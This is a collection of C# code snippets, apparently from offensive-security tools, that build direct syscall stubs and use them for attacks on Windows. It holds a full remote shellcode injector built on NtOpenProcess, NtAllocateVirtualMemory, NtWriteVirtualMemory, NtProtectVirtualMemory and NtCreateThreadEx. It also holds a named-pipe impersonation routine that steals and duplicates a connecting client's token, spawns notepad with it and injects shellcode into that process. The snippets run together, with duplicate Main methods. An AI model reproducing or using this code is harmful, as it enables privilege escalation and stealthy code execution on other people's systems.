public static IntPtr GetProcessHandle(Int32 ProcId) { IntPtr hProc = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID(); ci.UniqueProcess = (IntPtr)ProcId; IntPtr pSysCall = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess fSyscallNtOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtOpenProcess)); fSyscallNtOpenProcess(ref hProc, 0x1F0FFF, ref oa, ref ci); return(hProc); }
static void Main(string[] args) { // Details String testDetail = @" #=================> # Hello there! # I dynamically generate a Syscall stub # for NtOpenProcess and then open a # handle to a PID. #=================> "; Console.WriteLine(testDetail); // Read PID from args Console.WriteLine("[?] PID: " + args[0]); // Create params for Syscall IntPtr hProc = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID(); Int32 ProcID = 0; if (!Int32.TryParse(args[0], out ProcID)) { return; } ci.UniqueProcess = (IntPtr)(ProcID); // Generate syscall stub Console.WriteLine("[+] Generating NtOpenProcess syscall stub.."); IntPtr pSysCall = SharpSploit.Execution.DynamicInvoke.Generic.GetSyscallStub("NtOpenProcess"); Console.WriteLine("[>] pSysCall : " + String.Format("{0:X}", (pSysCall).ToInt64())); // Use delegate on pSysCall NtOpenProcess fSyscallNtOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(pSysCall, typeof(NtOpenProcess)); UInt32 CallRes = fSyscallNtOpenProcess(ref hProc, ProcessAccessFlags.All, ref oa, ref ci); Console.WriteLine("[?] NtStatus : " + String.Format("{0:X}", CallRes)); if (CallRes == 0) // STATUS_SUCCESS { Console.WriteLine("[>] Proc Handle : " + String.Format("{0:X}", (hProc).ToInt64())); } Console.WriteLine("[*] Pausing execution.."); Console.ReadLine(); }
static void Main(string[] args) { // NtOpenProcess IntPtr stub = Generic.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)uint.Parse(args[0]) }; NTSTATUS result = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = Generic.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)_shellcode.Length; result = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = Generic.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(_shellcode.Length); Marshal.Copy(_shellcode, 0, buffer, _shellcode.Length); uint bytesWritten = 0; result = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)_shellcode.Length, ref bytesWritten); // NtProtectVirtualMemory stub = Generic.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; result = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = Generic.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; result = ntCreateThreadEx( out hThread, ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); }
public static void ImpersonateClient(string PipeName, string Binary, byte[] shellcodebytes) { // some code from https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/PrintSpoofer.NET/Program.cs, some from https://github.com/BeichenDream/BadPotato/blob/master/Program.cs string pipename = PipeName; string binary = Binary; SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES(); // Create our named pipe pipename = string.Format("\\\\.\\pipe\\{0}", pipename); Console.WriteLine("Create Named Pipe: " + pipename); ConvertStringSecurityDescriptorToSecurityDescriptor("D:(A;OICI;GA;;;WD)", 1, out securityAttributes.lpSecurityDescriptor, IntPtr.Zero); IntPtr hPipe = CreateNamedPipeW(string.Format("\\\\.\\{0}", pipename), 0x00000003 | 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes); if (hPipe != IntPtr.Zero) { // Connect to our named pipe and wait for another client to connect bool result = ConnectNamedPipe(hPipe, IntPtr.Zero); if (result) { Console.WriteLine("Connect success!"); } else { Console.WriteLine("Connect fail!"); return; } // Impersonate the token of the incoming connection result = ImpersonateNamedPipeClient(hPipe); if (result) { Console.WriteLine("Successfully impersonated client!"); } else { Console.WriteLine("Impersonation failed!"); return; } // Open a handle on the impersonated token IntPtr tokenHandle; result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle); if (result) { Console.WriteLine("OpenThreadToken succeeded!"); } else { Console.WriteLine("OpenThreadToken failed!"); return; } // Duplicate the stolen token IntPtr sysToken = IntPtr.Zero; DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken); if (result) { Console.WriteLine("DuplicateTokenEx succeeded!"); } else { Console.WriteLine("DuplicateTokenEx failed!"); return; } // Get the impersonated identity and revert to self to ensure we have impersonation privs String name = WindowsIdentity.GetCurrent().Name; Console.WriteLine($"Impersonated user is: {name}."); if (shellcodebytes != null) { RevertToSelf(); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); binary = @"C:\windows\system32\notepad.exe"; bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' to deploy shellcode in that process!"); int ProcID = ProcByName("notepad"); var shellcode = shellcodebytes; // NtOpenProcess IntPtr stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtOpenProcess"); NtOpenProcess ntOpenProcess = (NtOpenProcess)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtOpenProcess)); IntPtr hProcess = IntPtr.Zero; OBJECT_ATTRIBUTES oa = new OBJECT_ATTRIBUTES(); CLIENT_ID ci = new CLIENT_ID { UniqueProcess = (IntPtr)(ProcID) }; SharpNamedPipePTH.DynamicInvokation.Native.NTSTATUS statusresult; statusresult = ntOpenProcess( ref hProcess, 0x001F0FFF, ref oa, ref ci); // NtAllocateVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtAllocateVirtualMemory"); NtAllocateVirtualMemory ntAllocateVirtualMemory = (NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtAllocateVirtualMemory)); IntPtr baseAddress = IntPtr.Zero; IntPtr regionSize = (IntPtr)shellcodebytes.Length; statusresult = ntAllocateVirtualMemory( hProcess, ref baseAddress, IntPtr.Zero, ref regionSize, 0x1000 | 0x2000, 0x04); // NtWriteVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtWriteVirtualMemory"); NtWriteVirtualMemory ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtWriteVirtualMemory)); var buffer = Marshal.AllocHGlobal(shellcodebytes.Length); Marshal.Copy(shellcodebytes, 0, buffer, shellcodebytes.Length); uint bytesWritten = 0; statusresult = ntWriteVirtualMemory( hProcess, baseAddress, buffer, (uint)shellcodebytes.Length, ref bytesWritten); // NtProtectVirtualMemory stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtProtectVirtualMemory"); NtProtectVirtualMemory ntProtectVirtualMemory = (NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtProtectVirtualMemory)); uint oldProtect = 0; statusresult = ntProtectVirtualMemory( hProcess, ref baseAddress, ref regionSize, 0x20, ref oldProtect); // NtCreateThreadEx stub = SharpNamedPipePTH.DynamicInvokation.DynamicGeneric.GetSyscallStub("NtCreateThreadEx"); NtCreateThreadEx ntCreateThreadEx = (NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(stub, typeof(NtCreateThreadEx)); IntPtr hThread = IntPtr.Zero; statusresult = ntCreateThreadEx( out hThread, SharpNamedPipePTH.DynamicInvokation.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED, IntPtr.Zero, hProcess, baseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); } else { // Only testing purpose to fake an interactive logon somehow PROFILEINFO profInfo = new PROFILEINFO(); bool loadProfileSuccess = LoadUserProfile(sysToken, ref profInfo); if (loadProfileSuccess) { Console.WriteLine("LoadUserProfile success!"); } else { Console.WriteLine("LoadUserProfile failed!"); } RevertToSelf(); // Spawn a new process with the duplicated token, a desktop session, and the created profile PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); bool output = CreateProcessWithTokenW(sysToken, 0, null, binary, CreationFlags.NewConsole, IntPtr.Zero, null, ref sInfo, out pInfo); Console.WriteLine($"Executed '{binary}' with impersonated token!"); } } }